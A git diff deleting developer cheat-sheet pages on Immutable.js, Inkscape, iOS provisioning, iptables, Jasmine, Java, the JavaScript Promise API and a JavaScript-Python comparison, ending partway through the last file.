-```js
-var list = Immutable.List.of(1, 2);
-
-list.push(3, 4, 5).unshift(0).concat(list2, list3).get(0).size;
-```
-
-### Nested maps
-
-```js
-var nested = Immutable.fromJS({ user: { profile: { name: 'John' } } });
-
-nested
-    // Update
-    .mergeDeep({ user: { profile: { age: 90 } } })
-    .setIn(['user', 'profile', 'name'], 'Jack')
-    .updateIn(['user', 'profile', 'name'], (s) => s.toUpperCase())
-
-    // Get
-    .getIn(['user', 'profile', 'name']); // 'JACK'
-```
diff --git a/docs/content/cheat-sheets/index.md b/docs/content/cheat-sheets/index.md
deleted file mode 100644
index ee67de8657..0000000000
--- a/docs/content/cheat-sheets/index.md
+++ /dev/null
@@ -1,7 +0,0 @@
----
-full_title: 'Devhints — TL;DR for developer documentation'
-description: 'A ridiculous collection of web development cheatsheets'
-layout: 2017/home
-og_type: website
-type: home
----
diff --git a/docs/content/cheat-sheets/index@2016.md b/docs/content/cheat-sheets/index@2016.md
deleted file mode 100644
index acecf41ee3..0000000000
--- a/docs/content/cheat-sheets/index@2016.md
+++ /dev/null
@@ -1,7 +0,0 @@
----
-full_title: 'Devhints — for web development and more'
-description: 'TL;DR for developer documentation - a ridiculous collection of cheatsheets'
-layout: home
-type: home
-og_type: website
----
diff --git a/docs/content/cheat-sheets/inkscape.md b/docs/content/cheat-sheets/inkscape.md
deleted file mode 100644
index 56712acae3..0000000000
--- a/docs/content/cheat-sheets/inkscape.md
+++ /dev/null
@@ -1,31 +0,0 @@
----
-title: Inkscape
-category: Apps
-
-tags: [WIP]
----
-
-### All
-
-| `-` _/_ `=` | Zoom in/out
-| `3` _/_ `4` | Zoom to selection / drawing
-| `5` _/_ `6` | Zoom to page / page width
-{: .-shortcuts}
-
-### Select tool (F1)
-
-| `[ ]` | Rotate
-{: .-shortcuts}
-
-### Edit path (F2)
-
-| `Ctrl` | constraint
-{: .-shortcuts}
-
-### Dragging an anchor handle
-
-| `Ctrl` | snap to 15 degrees
-| `Alt` | ?
-{: .-shortcuts}
-
-### Bezier (Shift F6)
diff --git a/docs/content/cheat-sheets/ios-provision.md b/docs/content/cheat-sheets/ios-provision.md
deleted file mode 100644
index b7b0dd00a6..0000000000
--- a/docs/content/cheat-sheets/ios-provision.md
+++ /dev/null
@@ -1,63 +0,0 @@
----
-title: iOS Provisioning Profiles
----
-
-### Types of profiles
-
--   **Development** - deploy to an iPhone via XCode
--   **Adhoc** - deploy via testflightapp.com
--   **Appstore** - only used for submitting to the app store
-
-### Requirements
-
-| What            | Dev | Adhoc | Appstore |
-| --------------- | --- | ----- | -------- |
-| CSR file        |     | √     | √        |
-| Device UDIDs    | √   | √     |          |
-| Developers list | √   |       |          |
-
-### Obtaining a CSR file
-
-Needed for Adhoc & Appstore builds.
-
--   Open _Keychain Access.app_
--   _Keychain Access_ menu -> _Certificate Assistant_ menu -> _Request a
-    certificate..._
-    -   User email address is _your email_
-    -   Common name is _your name_
-    -   CA Email address is _blank_
-    -   Request is _Saved to disk_
-
-### Get the `.cer` files
-
-Needed for Adhoc & Appstore builds.
-
--   in the iOS dev portal, go to _Certificates_, and download the certificate.  
-    Install it on the dev machine.
-
-### Obtaining device UDIDs
-
-Needed for Dev and Adhoc builds.
-
--   via iTunes: http://whatsmyudid.com
--   via XCode: cmd+shift+2 (Organizer), Devices
-
-## For developers
-
-Don't ever ask Xcode to _Fix issue..._ for you.
-
-### Using a provisioning profile
-
-No need to use `.mobileprovision` files since XCode 5.
-
--   Open the `*.mobileprovision` file using Finder
--   XCode Project -> _Build settings_ tab -> _Code signing_ section ->
-    _Provisioning Profile_ section
-    -   Set _Debug_ to the _development_ profile
-    -   Set _Release_ to the _ad-hoc_ profile
-
-### Building an .ipa (Adhoc or Appstore)
-
--   In the toolbar, select "iOS Device" as the target
--   _Product_ menu -> _Archive_
--   In the Organizer (Cmd+Shift+2) -> _Archives_ tab -> _Distribute..._ button
diff --git a/docs/content/cheat-sheets/iptables.md b/docs/content/cheat-sheets/iptables.md
deleted file mode 100644
index 73866fc5fb..0000000000
--- a/docs/content/cheat-sheets/iptables.md
+++ /dev/null
@@ -1,65 +0,0 @@
----
-tags: [networking]
----
-
-# To show hit for rules with auto refresh:
-
-watch --interval 0 'iptables -nvL | grep -v "0 0"'
-
-# To show hit for rule with auto refresh and highlight any changes since the last refresh:
-
-watch -d -n 2 iptables -nvL
-
-# To block port 902 and hide this port from nmap:
-
-iptables -A INPUT -i eth0 -p tcp --dport 902 -j REJECT --reject-with icmp-port-unreachable
-
-# Note, --reject-with accept:
-
-# icmp-net-unreachable
-
-# icmp-host-unreachable
-
-# icmp-port-unreachable <- Hide a port to nmap
-
-# icmp-proto-unreachable
-
-# icmp-net-prohibited
-
-# icmp-host-prohibited or
-
-# icmp-admin-prohibited
-
-# tcp-reset
-
-# To add a comment to a rule:
-
-iptables ... -m comment --comment "This rule is here for this reason"
-
-# To remove or insert a rule:
-
-# 1) Show all rules
-
-iptables -L INPUT --line-numbers
-
-# OR iptables -nL --line-numbers
-
-# Chain INPUT (policy ACCEPT)
-
-# num target prot opt source destination
-
-# 1 ACCEPT udp -- anywhere anywhere udp dpt:domain
-
-# 2 ACCEPT tcp -- anywhere anywhere tcp dpt:domain
-
-# 3 ACCEPT udp -- anywhere anywhere udp dpt:bootps
-
-# 4 ACCEPT tcp -- anywhere anywhere tcp dpt:bootps
-
-# 2.a) REMOVE (-D) a rule. (here an INPUT rule)
-
-iptables -D INPUT 2
-
-# 2.b) OR INSERT a rule.
-
-iptables -I INPUT {LINE_NUMBER} -i eth1 -p tcp --dport 21 -s 123.123.123.123 -j ACCEPT -m comment --comment "This rule is here for this reason"
diff --git a/docs/content/cheat-sheets/jade.md b/docs/content/cheat-sheets/jade.md
deleted file mode 100644
index 54cee2dbaf..0000000000
--- a/docs/content/cheat-sheets/jade.md
+++ /dev/null
@@ -1,5 +0,0 @@
----
-title: Jade
-category: JavaScript libraries
-redirect_to: /pug
----
diff --git a/docs/content/cheat-sheets/jasmine.md b/docs/content/cheat-sheets/jasmine.md
deleted file mode 100644
index f0e0fdb2f0..0000000000
--- a/docs/content/cheat-sheets/jasmine.md
+++ /dev/null
@@ -1,210 +0,0 @@
----
-title: Jasmine
-category: JavaScript libraries
-
-weight: -1
----
-
-## Tests
-
-### Writing tests
-
-```js
-describe('A suite', () => {
-    it('works', () => {
-        expect(true).toBe(true);
-    });
-});
-```
-
-Note: This cheatsheet may be a little outdated. Also see the [Jest cheatsheet](./jest). Jest uses Jasmine, and therefore has similar API.
-
-### Expectations
-
-```js
-expect(true).toBe(true);
-expect(true).not.toBe(true);
-```
-
-```js
-expect(a).toEqual(bar);
-```
-
-```js
-expect(message).toMatch(/bar/);
-expect(message).toMatch('bar');
-```
-
-```js
-expect(a.foo).toBeDefined();
-expect(a.foo).toBeUndefined();
-expect(a.foo).toBeNull();
-```
-
-```js
-expect(a.foo).toBeTruthy();
-expect(a.foo).toBeFalsy();
-```
-
-```js
-expect(message).toContain('hello');
-```
-
-```js
-expect(pi).toBeGreaterThan(3);
-expect(pi).toBeLessThan(4);
-expect(pi).toBeCloseTo(3.1415, 0.1);
-```
-
-```js
-expect(func).toThrow();
-```
-
-### Hooks
-
-```js
-beforeEach(() => {
-  ···
-})
-```
-
-```js
-afterEach(() => {
-  ···
-})
-```
-
-### Pending
-
-```js
-xit('this is a pending test', () => {
-  ···
-})
-```
-
-```js
-xdescribe('this is a pending block', () => {
-  ···
-})
-```
-
-### Spies
-
-```js
-spyOn(foo, 'setBar');
-spyOn(foo, 'setBar').andReturn(123);
-spyOn(foo, 'getBar').andCallFake(function () {
-    return 1001;
-});
-foo.setBar(123);
-```
-
-```js
-expect(foo.setBar).toHaveBeenCalled();
-expect(foo.setBar).toHaveBeenCalledWith(123);
-expect(foo.setBar.calls.length).toEqual(2);
-expect(foo.setBar.calls[0].args[0]).toEqual(123);
-```
-
-### Creating spies
-
-```js
-stub = jasmine.createSpy('stub');
-stub('hello');
-```
-
-```js
-expect(stub.identity).toEqual('stub');
-expect(stub).toHaveBeenCalled();
-```
-
-### Async
-
-```js
-test('works with promises', () => {
-  return new Promise((resolve, reject) => {
-    ···
-  })
-})
-```
-
-Make your test return a promise.
-
-### HTML runner
-
-```js
-var jasmineEnv = jasmine.getEnv();
-jasmineEnv.updateInterval = 250;
-
-var htmlReporter = new jasmine.HtmlReporter();
-jasmineEnv.addReporter(htmlReporter);
-
-$(function () {
-    jasmineEnv.execute();
-});
-```
-
-## Jasmine jQuery
-
-### Expectations
-
-```js
-expect($('#id')).toBe('div');
-expect($('input[type=checkbox]')).toBeChecked();
-expect($('input[type=checkbox]')).toBeDisabled();
-expect($('input[type=checkbox]')).toBeFocused();
-expect($('#menu ul')).toBeEmpty();
-```
-
-```js
-expect($('#toolbar')).toBeHidden();
-expect($('#toolbar')).toBeVisible();
-```
-
-```js
-expect($('#popup')).toHaveCss({ margin: '10px' });
-expect($('option')).toBeSelected();
-```
-
-```js
-expect($('.foo')).toExist();
-```
-
-```js
-expect($('a')).toHaveAttr('rel');
-expect($('a')).toHaveAttr('rel', 'nofollow');
-```
-
-```js
-expect($('a')).toHaveClass('rel');
-expect($('a')).toHaveId('home');
-```
-
-```js
-expect($('a')).toHaveHtml('<span></span>');
-expect($('a')).toContainHtml('<span></span>');
-expect($('a')).toHaveText('hi');
-```
-
-```js
-expect($form).toHandle('submit'); // event
-expect($form).toHandleWith('submit', onSumbit);
-```
-
-See: [jasmine-jquery](https://github.com/velesin/jasmine-jquery)
-
-### Event spies
-
-```js
-spyOnEvent($('#some_element'), 'click');
-$('#some_element').click();
-expect('click').toHaveBeenPreventedOn($('#some_element'));
-expect('click').toHaveBeenTriggeredOn($('#some_element'));
-```
-
-## References
-
-{: .-one-column}
-
--   Also see the [Jest cheatsheet](./jest). Jest uses Jasmine, and therefore has similar API.
--   <https://jasmine.github.io>
diff --git a/docs/content/cheat-sheets/java.md b/docs/content/cheat-sheets/java.md
deleted file mode 100644
index b7addd4308..0000000000
--- a/docs/content/cheat-sheets/java.md
+++ /dev/null
@@ -1,57 +0,0 @@
----
-tags: [java, jar]
----
-
-# To execute a java program
-
-# To run a java file
-
-java -jar <filename.jar>
-
-# To pass arguments to your java program
-
-java -jar <filename.jar> <arg1> <arg2> ...
-java -jar example.jar "Hello world" 1234
-
-# To get the version of the installed java enviroment
-
-java -showversion
-
-Example output:
-openjdk version "11.0.8" 2020-07-14
-OpenJDK Runtime Environment (build 11.0.8+10-post-Ubuntu-0ubuntu120.04)
-OpenJDK 64-Bit Server VM (build 11.0.8+10-post-Ubuntu-0ubuntu120.04, mixed mode, sharing)
-
-# To set the intial memory size to be used by the program
-
-# Use -Xms<size> to set inital memory allocation
-
-# Use -Xmx<size> to set maximun allowed memory allocation
-
-# Use -Xss<size> to set maximun allowed thread stack size
-
-# Initially asigns 256mb and allows up to 2gb, thread stack size of 1mb
-
-java -Xms256m -Xmx2g -Xss1m -jar <filename.jar>
-
-# To use the classpath variable
-
-# It overrides the CLASSPATH of Environment variable but only for that session.
-
-# If you restart the application you need to again set the classpath variable.
-
-# You can use either: -classpath, --classpath or -cp
-
-java -classpath <classpath> -jar <filename.jar>
-java -classpath "my/example/path/one:my/example/path/two" -jar myfile.zip
-
-# To execute a java class
-
-# Say you have a java class of name HelloWorld in a file called HelloWorld.java
-
-# Say you want to execute your class HelloWorld and pass it the argument "hello"
-
-# Say the file is the local directory we use the options "-cp ."
-
-java -cp <path> <class> <arg>
-java -cp . HelloWorld "hello"
diff --git a/docs/content/cheat-sheets/javascript-arrays.md b/docs/content/cheat-sheets/javascript-arrays.md
deleted file mode 100644
index 53549555bd..0000000000
--- a/docs/content/cheat-sheets/javascript-arrays.md
+++ /dev/null
@@ -1 +0,0 @@
-# JavaScript Arrays
diff --git a/docs/content/cheat-sheets/javascript-promise-api-cheat-sheet.md b/docs/content/cheat-sheets/javascript-promise-api-cheat-sheet.md
deleted file mode 100644
index f409e7814e..0000000000
--- a/docs/content/cheat-sheets/javascript-promise-api-cheat-sheet.md
+++ /dev/null
@@ -1,118 +0,0 @@
----
-cover: ../../../.gitbook/assets/js.png
-coverY: 0
----
-
-# JavaScript Promise API Cheat Sheet
-
-## 🚀 \[GIF] Cheatsheet for Javascript Promise API methods - Promise.all, Promise.allSettled, Promise.race, Promise.any
-
-> Hello everybody 👋! I created this GIF cheatsheet for my own reference and I hope it will be useful fo...
-
-Hello everybody 👋! I created this GIF cheatsheet for my own reference and I hope it will be useful for the community as well ❤️
-
-#### Index
-
--   How is this organized?
--   Promise.resolve,Promise.reject
--   Promise.all
--   Promise.allSettled
--   Promise.race
--   Promise.any
-
-Consider the GIFs like watching a slow-mo video of Promise API methods in action. The scenarios for each Promise API describe how they work with an emphasis on Promise status transition, value/reasons, and the order.
-
-For the sake of simplicity, I have added numbers below each promise representing the order in which they settle. This is handy while understanding the _short-circuiting_ behavior (denoted by ⚡️) of each promise API.
-
-_Scenario 1_: If the given value is _not_ a `thenable` but a _valid_ Javascript `value`\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--wKe3V1mU--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72240446-2ebe0780-360a-11ea-8e8c-e6b0c9b9f20a.gif)
-
-_Scenario 2_: If the given value is a `thenable` (i.e., Promise or object with `then()` method\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--t9Zra50e--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72240447-2f569e00-360a-11ea-8a63-25a3920da75d.gif)
-
-_Scenario 3_: _Nested_ Promise-like objects\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--Wc3xDRN5--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72240448-2f569e00-360a-11ea-806c-2b283119374a.gif)
-
-_Scenario_: Rejection with a `reason`\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--FID-RyO8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72240449-2f569e00-360a-11ea-82e5-ae18cd4155f0.gif)
-
-_Scenario 1_: All passed-in Promises get fulfilled\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--4ZL55hYu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72202910-f3e19580-348a-11ea-8a00-49c005f3cdd3.gif)
-
-_Scenario 2_: ⚡️ One or more of the passed-in Promise(s) rejects\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--oM4KdCVE--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72202911-f3e19580-348a-11ea-99ff-850ced214ddb.gif)
-
-_Scenario 3_: ⚡️ All passed-in Promises get rejected\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--S01S1am6--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72202912-f47a2c00-348a-11ea-9ff2-ad6d86514c8c.gif)
-
-_Scenario 4_: Passing an Empty iterable\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--gSv6rJt0--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72202913-f47a2c00-348a-11ea-9642-684ffb5b771e.gif)
-
-_Scenario 1_: All passed-in Promises get fulfilled\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--JywRFstP--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72213854-0c4dc080-351c-11ea-9646-c6917ae7df2d.gif)
-
-_Scenario 2_: One or more of the passed-in Promise(s) rejects\
-
-![](https://res.cloudinary.com/practicaldev/image/fetch/s--6RlrYb04--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72213855-0ce65700-351c-11ea-947d-b0be63329f3d.gif)
-
-_Scenario 3_: All passed-in Promises get rejected\
-[![Promise.allSettled - All passed-in Promises get rejected](https://res.cloudinary.com/practicaldev/image/fetch/s--xlEPDy20--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72213856-0d7eed80-351c-11ea-9961-06d869c9655e.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--xlEPDy20--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72213856-0d7eed80-351c-11ea-9961-06d869c9655e.gif)
-
-_Scenario 4_: Passing an Empty iterable\
-[![Promise.allSettled - Passing an Empty iterable](https://res.cloudinary.com/practicaldev/image/fetch/s--wm4RBJmY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72213857-0d7eed80-351c-11ea-8766-6425dfa4f3e4.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--wm4RBJmY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72213857-0d7eed80-351c-11ea-8766-6425dfa4f3e4.gif)
-
-_Scenario 1_: ⚡️ All passed-in Promises get fulfilled\
-[![⚡️Promise.race - All passed-in Promises get fulfilled](https://res.cloudinary.com/practicaldev/image/fetch/s--byxUjDIn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214065-79635500-3520-11ea-937e-5d89d2ce1aa5.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--byxUjDIn--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214065-79635500-3520-11ea-937e-5d89d2ce1aa5.gif)
-
-_Scenario 2_: ⚡️ One or more of the passed-in Promise(s) rejects\
-[![⚡️Promise.race - One or more of the passed-in Promise(s) rejects](https://res.cloudinary.com/practicaldev/image/fetch/s--VT6cxLfu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214066-79635500-3520-11ea-9544-949800bb450f.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--VT6cxLfu--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214066-79635500-3520-11ea-9544-949800bb450f.gif)
-
-_Scenario 3_: ⚡️ All passed-in Promises get rejected\
-[![⚡️Promise.race - All passed-in Promises get rejected](https://res.cloudinary.com/practicaldev/image/fetch/s--u_F1zJwA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214067-79635500-3520-11ea-8737-e6c3198dc2ad.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--u_F1zJwA--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214067-79635500-3520-11ea-8737-e6c3198dc2ad.gif)
-
-_Scenario 4_: Passing an Empty iterable\
-[![Promise.race - Passing an Empty iterable](https://res.cloudinary.com/practicaldev/image/fetch/s--F0aYDjZq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214068-79635500-3520-11ea-999b-6cbfdc073014.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--F0aYDjZq--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214068-79635500-3520-11ea-999b-6cbfdc073014.gif)
-
-> `⚠️ Warning` - Promise.any() method is experimental and not fully supported by all browsers. It is currently in the TC39 Candidate stage (Stage 3).
-
-_Scenario 1_: ⚡️ All passed-in Promises get fulfilled\
-[![⚡️ Promise.any - All passed-in Promises get fulfilled](https://res.cloudinary.com/practicaldev/image/fetch/s--r269ZuWY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214139-6487c100-3522-11ea-9cc7-137b7f700c0f.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--r269ZuWY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214139-6487c100-3522-11ea-9cc7-137b7f700c0f.gif)
-
-_Scenario 2_: ⚡️ One or more of the passed-in Promise(s) rejects\
-[![⚡️ Promise.any - One or more of the passed-in Promise(s) rejects](https://res.cloudinary.com/practicaldev/image/fetch/s--l1MZbza7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214140-6487c100-3522-11ea-9527-609bcc583889.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--l1MZbza7--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214140-6487c100-3522-11ea-9527-609bcc583889.gif)
-
-_Scenario 3_: All passed-in Promises get rejected\
-[![Promise.any - All passed-in Promises get rejected](https://res.cloudinary.com/practicaldev/image/fetch/s--QeLNnTIY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214141-65205780-3522-11ea-96e1-9a8697316fb8.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--QeLNnTIY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214141-65205780-3522-11ea-96e1-9a8697316fb8.gif)
-
-_Scenario 4_: Passing an Empty iterable\
-[![Promise.any - Passing an Empty iterable](https://res.cloudinary.com/practicaldev/image/fetch/s--OPAMN2zm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214142-65205780-3522-11ea-83e7-fbd3bb4e1c18.gif)](https://res.cloudinary.com/practicaldev/image/fetch/s--OPAMN2zm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_66%2Cw_880/https://user-images.githubusercontent.com/19341550/72214142-65205780-3522-11ea-83e7-fbd3bb4e1c18.gif)
-
-And hey, I love staying in touch with the curious folks and _learning_ from them as well! ❤️ So, Please feel free to reach out if you have any questions or interesting thoughts 🙋‍♀️🙋‍♂️Don't forget to share this post if you found it useful 🚀
-
----
-
-Repo Link :
-
-### ![GitHub logo](https://res.cloudinary.com/practicaldev/image/fetch/s--vJ70wriM--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://practicaldev-herokuapp-com.freetls.fastly.net/assets/github-logo-ba8488d21cd8ee1fee097b8410db9deaa41d0ca30b004c0c63de0a479114156f.svg) [hemchander23 ](https://github.com/hemchander23)/ [javascript_in_gifs](https://github.com/hemchander23/javascript_in_gifs)
-
-#### Javascript concepts and features visualised in the form of GIFS. I use it for my own reference. Glad if it was useful for you !
-
-Do you find the documentation hard to understand ? Worry no more, the GIFs got you covered!
-
-### Contents
-
-1. [Promise API](https://raw.githubusercontent.com/hemchander23/javascript_in_gifs/master/promise_api)
-2. [Nullish Coalescing](https://raw.githubusercontent.com/hemchander23/javascript_in_gifs/master/nullish_coalescing)
-
-Feel free to contribute ❤️
-
-[Source](https://dev.to/hem/gif-cheatsheet-for-javascript-promise-api-methods-promise-all-promise-allsettled-promise-race-promise-any-1l2o)
diff --git a/docs/content/cheat-sheets/javascript-python-cheatsheet.md b/docs/content/cheat-sheets/javascript-python-cheatsheet.md
deleted file mode 100644
index 6396e1c6ab..0000000000
--- a/docs/content/cheat-sheets/javascript-python-cheatsheet.md
+++ /dev/null
@@ -1,1002 +0,0 @@
-# Javascript Python cheatsheet
-
-### Contents
-
--   Versions
--   Development Environments
--   Running Programs
--   Comments
--   Semicolons
--   Whitespace, Blocks
--   Functions
--   Arithmetic Operators
--   Variables
--   Data Types
--   Arrays/Lists
--   Slices
--   Objects/Dicts
--   String Formatting
--   Booleans and Conditionals
--   `for` Loops
--   `while` Loops
--   `switch` Statement
--   `if` Conditionals
--   Classes
-
-### Versions
-
-#### JavaScript
-
-The standard defining JavaScript (JS) is _ECMAScript_ (ES). Modern browsers and NodeJS support ES6, which has a rich feature set. Older browsers might not support all ES6 features.
-
-The website [caniuse.com](https://caniuse.com) will show which browsers support specific JS features.
-
-#### Python
-
-Python 3.x is the current version, but there are a number of packages and sites running legacy Python 2.
-
-On some systems, you might have to be explicit when you invoke Python about which version you want by running `python2` or `python3`. The `--version` command line switch will tell you which version is running. Example:
-
-```
-$ python --version
-Python 2.7.10
-$ python2 --version
--bash: python2: command not found
-$ python3 --version
-Python 3.6.5
-```
-
-Using `virtualenv` or `pipenv` can really ease development painpoints surrounding the version. See Development Environments, below.
-
-### Development Environments
-
-#### JavaScript
-
-For managing project packages, the classic tool is `npm`. This is slowly being superseded by the newer `yarn` tool. Choose one for a project, and don't mix and match.
-
-#### Python
-
-For managing project packages and Python versions, the classic tool is `virtualenv`. This is slowly being superseded by the newer `pipenv` tool.
-
-### Running Programs
-
-#### JavaScript
-
-Running from the command line with NodeJS:
-
-```
-node program.js arg1 arg2 etc
-```
-
-In a web page, a script is referenced with a `<script>` HTML tag:
-
-```html
-<script src="program.js"></script>
-```
-
-#### Python
-
-Running from the command line:
-
-```
-python program.py arg1 arg2 etc
-```
-
-### Comments
-
-#### JavaScript
-
-Single line:
-
-```js
-// Anything after two forward slashes is a comment
-print(2); // prints 2
-```
-
-Multi-line comments:
-
-```js
-/* Anything between slash-star and
-star-slash is a comment */
-```
-
-You may not nest multi-line comments.
-
-#### Python
-
-Single line:
-
-```python
-# Anything after a # is a comment
-print(2)  # prints 2
-```
-
-Python doesn't directly support multi-line comments, but you can effectively do them by using multi-line strings `"""`:
-
-```python
-"""
-At this point we wish
-to print out some numbers
-and see where that gets us
-"""
-print(1)
-print(2)
-```
-
-### Semicolons
-
-#### JavaScript
-
-Javascript ends statements with semicolons, usually at the end of the line. I can also be effectively used to put multiple statements on the same line, but this is rare.
-
-```js
-console.log('Hello, world!');
-
-let x = 10;
-console.log(x);
-```
-
-Javascript interpreters will let you get away without using semicolons at ends of lines, but you should use them.
-
-#### Python
-
-Python can separate statements by semicolons, though this is rare in practice.
-
-```python
-print(1); print(2)   # prints 1, then 2
-```
-
-### Whitespace, blocks
-
-#### JavaScript
-
-Whitespace has no special meaning. Blocks are declared with squirrely braces `{` and `}`.
-
-```js
-if (x == 2) {
-    console.log('x must be 2');
-} else {
-    if (x == 3) {
-        console.log('x must be 3');
-    } else {
-        console.log('x must be something else');
-    }
-}
-```
-
-#### Python
-
-Indentation level is how blocks are declared. The preferred method is to use spaces, but tabs can also be used.
-
-```python
-if x == 2:
-  print("x must be 2")
-else:
-  if x == 3:
-    print("x must be 3")
-  else:
-    print("x must be something else")
-```
-
-### Functions
-
-#### JavaScript
-
-Define functions as follows:
-
----
-
-```js
-function foobar(x, y, z) {
-    console.log(x, y, z);
-    return 12;
-}
-```
-
-An alternate syntax for functions is growing increasingly common, called _arrow functions_:
-
-```js
-let hello = () => {
-    console.log('hello');
-    console.log('world');
-};
-
-hello(); // prints hello, then world
-
-// Arrow functions with single parameters don't
-// need parens around the parameter:
-let printNum = (x) => {
-    console.log(x);
-};
-
-// If you don't explicitly return a value, the value
-// of the last expression in the function is used.
-// Also, single-expression functions don't need
-// braces around them.
-let add = (x, y) => x + y;
-
-console.log(add(4, 5)); // prints 9
-```
-
-#### Python
-
-Define functions as follows:
-
-```python
-def foobar(x, y, z):
-  print(x, y, z)
-  return 12
-```
-
-Python also supports the concept of _lambda functions_, which are simple functions that can do basic operations.
-
-```python
-add = lambda x, y: x + y
-
-print(add(4, 5)) # prints 9
-```
-
-### Arithmetic Operators
-
-#### JavaScript
-
-| Operator | Description                   |
-| -------- | ----------------------------- |
-| `+`      | Addition                      |
-| `-`      | Subtraction                   |
-| `*`      | Multiplication                |
-| `/`      | Division                      |
-| `%`      | Modulo (remainder)            |
-| `--`     | Pre-decrement, post-decrement |
-| `++`     | Pre-increment, post-increment |
-| `**`     | Exponentiation (power)        |
-| `=`      | Assignment                    |
-| `+=`     | Addition assignment           |
-| `-=`     | Subtraction assignment        |
-| `*=`     | Multiplication assignment     |
-| `/=`     | Division assignment           |
-| `%=`     | Modulo assignment             |
-
-#### Python
-
-The pre- and post-increment and decrement are notably absent.
-
-| Operator | Description               |
-| -------- | ------------------------- |
-| `+`      | Addition                  |
-| `-`      | Subtraction               |
-| `*`      | Multiplication            |
-| `/`      | Division                  |
-| `%`      | Modulo (remainder)        |
-| `**`     | Exponentiation (power)    |
-| `=`      | Assignment                |
-| `+=`     | Addition assignment       |
-| `-=`     | Subtraction assignment    |
-| `*=`     | Multiplication assignment |
-| `/=`     | Division assignment       |
-| `%=`     | Modulo assignment         |
-
-### Variables
-
-#### Javascript
-
-Variables are created upon use, but should be created with the `let` or `const` keywords.
-
-```js
-let x = 10;
-const y = 30;
-```
-
-`var` is an outdated way of declaring variables in Javascript.
-
-#### Python
-
-Variables are created upon use.
-
-```python
-x = 10
-```
-
-### Data Types
-
-#### JavaScript
-
-```js
-let a = 12; // number
-let b = 1.2; // number
-let c = 'hello'; // string
-let d = 'world'; // string
-let e = true; // boolean
-let f = null; // null value
-let g = undefined; // undefined value
-```
-
-Multi-line strings:
-
-```js
-let s = `this is a
-multi-line string`;
-```
-
-Parameterized strings:
-
-```js
-let x = 12;
-console.log(`x is ${x}`); // prints "x is 12"
-```
-
-JS is _weakly typed_ so it supports operations on multiple types of data at once.
-
-```js
-'2' + 4; // string "24"
